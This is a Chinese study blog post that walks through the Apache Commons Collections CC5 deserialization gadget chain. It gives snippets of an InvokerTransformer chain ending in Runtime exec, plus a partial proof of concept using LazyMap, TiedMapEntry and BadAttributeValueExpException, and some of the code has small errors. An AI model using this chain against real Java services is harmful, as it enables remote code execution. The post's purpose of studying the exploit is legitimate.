赞
踩
前言:
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。
前几天分析学习了一下CC1链子,今天在pte课余的时候学习了一下CC5链子,发现前半部分基本上和CC1基本链子都基本一致
这里先放一下前面的一段链子:
- Transformer[] transformers = new Transformer[]{
-
- new ConstantTransformer(Runtime.class),
-
- new InvokerTransformer("getMethod",new Class[]{
-
- String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
-
- new InvokerTransformer("invoke",new Class[]{
-
- Object.class,Object[].class,new Object[]{null,new Object[0]}),
-
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
-
- };
-
- Transformer transformedChain = new ChainedTransformer(transformers);
前半段的实现逻辑就是主要靠ChainedTransformer的transformer方法完成链子的实现:
- public Object transform(Object object) {
-
- for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object);
-
- }
-
- return object;
-
- }
下半段的实现逻辑,靠调动TiedMapEntry的getValue(),getValue()又调用了get()方法:
- public Object getValue()
-
- {
-
- return map.get(key);
-
- }
而这里的get方法会去调用this,factory的transform方法,靠这里跟上半段完成了衔接,调用了ChainedTransformer,而getValue()方法会由TiedMapEntry的toString方法调用,接下来就是寻找readObject方法了,这里使用的是BadAttributeValueExpException的readObject方法。
- private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
-
- ObjectInputStream.GetField gf = ois.readFields();
-
- Object valObj = gf.get("val", null);
-
-
-
- if (valObj == null) {
-
- val = null;
-
- } else if (valObj instanceof String) {
-
- val= valObj;
-
- } else if (System.getSecurityManager() == null
-
- || valObj instanceof Long
-
- || valObj instanceof Integer
-
- || valObj instanceof Float
-
- || valObj instanceof Double
-
- || valObj instanceof Byte
-
- || valObj instanceof Short
-
- || valObj instanceof Boolean) {
-
- val = valObj.toString();
-
- } else { // the serialized object is from a version without JDK-8019292 fix
-
- val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
-
- }
-
- }
接下来放下半段的poc了,分开放的目的是因为这篇文章主要是为了学习,所以不提供现成的poc了。
- Map innerMap = new HashMap();
-
- Map outerMap = LazyMap.decorate(innerMap, transformedChain);
-
- TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"chd");
-
-
-
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
-
-
-
- Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
-
- val.setAccessible(true);
-
- val.set(poc,badAttributeValueExpException);
希望各位师傅多多指点
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。